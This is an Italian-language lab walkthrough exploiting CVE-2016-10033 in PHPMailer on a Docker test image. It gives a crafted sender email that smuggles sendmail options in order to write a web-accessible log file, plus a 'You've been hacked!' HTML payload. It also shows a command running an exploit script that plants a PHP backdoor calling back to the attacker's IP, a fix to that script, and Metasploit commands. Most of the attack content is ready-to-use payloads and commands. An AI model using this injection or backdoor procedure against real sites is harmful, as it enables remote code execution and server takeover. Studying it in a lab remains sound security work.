
Prova di concetto per la CVE-2016-10033 (PHPMailer)
Prima di tutto, avviamo l'applicazione vulnerabile
Comando: docker pull vulnerables/cve-2016-10033


Ora puoi accedere al sito web vulnerabile all'indirizzo localhost:8080 nel browser web.

Input Nome: OSEC (può essere una stringa qualsiasi, questo non influisce sull'exploit)
Email Mittente Crafted: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Il funzionamento di questa email mittente craftata è spiegato in dettaglio nella sezione descrizione del vettore d'attacco. Per quanto riguarda i parametri specifici, il secondo parametro -oQ/tmp specifica la directory della coda e il terzo parametro, -X/www/pwn.html specifica la posizione del file di log da scrivere.
Se la directory della coda non viene specificata, il processo sendmail tenterebbe di accedere alla directory predefinita della coda di posta (/var/spool/mqueue-client/) che sarebbe protetta per impedire accessi e manomissioni non autorizzati, una misura di sicurezza comune. Per evitare questo problema di permessi, devi specificare una directory della coda in cui l'utente che esegue lo script PHP ha permessi di scrittura. Comunemente, viene utilizzata una directory come /tmp perché è tipicamente scrivibile da tutti gli utenti.
Se il corpo dell'email contiene codice PHP e se il file di log specificato viene posizionato in una directory accessibile dal web, l'attaccante può eseguire il codice PHP accedendo al file di log tramite un browser web, ottenendo così l'esecuzione remota del codice.
Input Messaggio: Questo è solo un esempio di file html che un attaccante potrebbe caricare. Ovviamente, l'attaccante potrebbe caricare qualcosa di molto peggiore come una backdoor, cosa che faremo nel prossimo metodo di sfruttamento
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> specifica l'URL del target
-cf -> specifica la posizione del modulo di contatto all'interno dell'URL specificato in -url. (Nel nostro caso è esattamente lo stesso di -url, quindi abbiamo incluso solo una barra)
-ip -> specifica l'IP dell'attaccante per la connessione di ritorno della backdoor
-d -> specifica la directory relativa per caricare il file php della backdoor
--post-action -> L'attributo name del campo nascosto
--post-msg -> L'attributo name del campo di input del messaggio
Nota: Il motivo per cui dobbiamo specificare --post-action come "submit" e --post-msg come "message" è che nell'applicazione vulnerabile che stiamo utilizzando l'attributo name è diverso dai valori predefiniti usati nello script Python di exploit
Gli attributi name nell'applicazione vulnerabile:

Gli attributi name predefiniti specificati nello script:


Nell'immagine sopra puoi vedere che il programma sta cercando di accedere a http://127.0.0.1:8080//www/phpbackdoor9284.php che è ovviamente sbagliato a causa di //www. Questo non funzionerà perché in questo sito web vulnerabile /www è la radice del sito, quindi non puoi navigare verso http://127.0.0.1:8080/www poiché http://127.0.0.1:8080 è già su /www.
Anche nell'immagine sottostante possiamo vedere che l'exploit ha effettivamente funzionato perché phpbackdoor9284.php è stato creato con successo nella directory. Quindi l'unico problema era come rimuovere quel //www dall'URL.

Dopo un'ispezione più approfondita dello script Python, siamo riusciti a localizzare la variabile BACKDOOR_URL che specifica l'URL del file php della backdoor.
Nella variabile possiamo vedere che la directory target che abbiamo specificato (args.TARGET_UP_DIR) viene concatenata insieme alla variabile BACKDOOR_FILE.
Per risolvere il problema, dobbiamo rimuovere quella e la barra aggiuntiva.
Prima:

Dopo:


Comandi:
msfconsole
search CVE-2016-10033
use 1
